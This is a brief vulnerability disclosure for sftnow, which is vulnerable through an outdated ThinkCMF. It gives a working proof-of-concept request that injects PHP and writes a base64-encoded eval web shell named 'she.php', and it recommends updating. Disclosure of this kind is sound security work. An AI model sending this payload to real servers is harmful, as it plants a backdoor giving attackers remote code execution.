there is a Remote Code Execution Vulnerability

[liao10086]

version: sftnow through 2018-12-29

There is a Remote Code Execution Vulnerability without login.
Beacuse Framework used thinkcmf version is too low，it incloud a rce vulnerability.
POC：

http://127.0.0.1:8888/?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('she.php',base64_decode('PD9waHAgZXZhbCgkX1BPU1RbJ3gnXSk7Pz4='))</php>

after send the poc you can see the webshell she.php

suggest:update thinkcmf version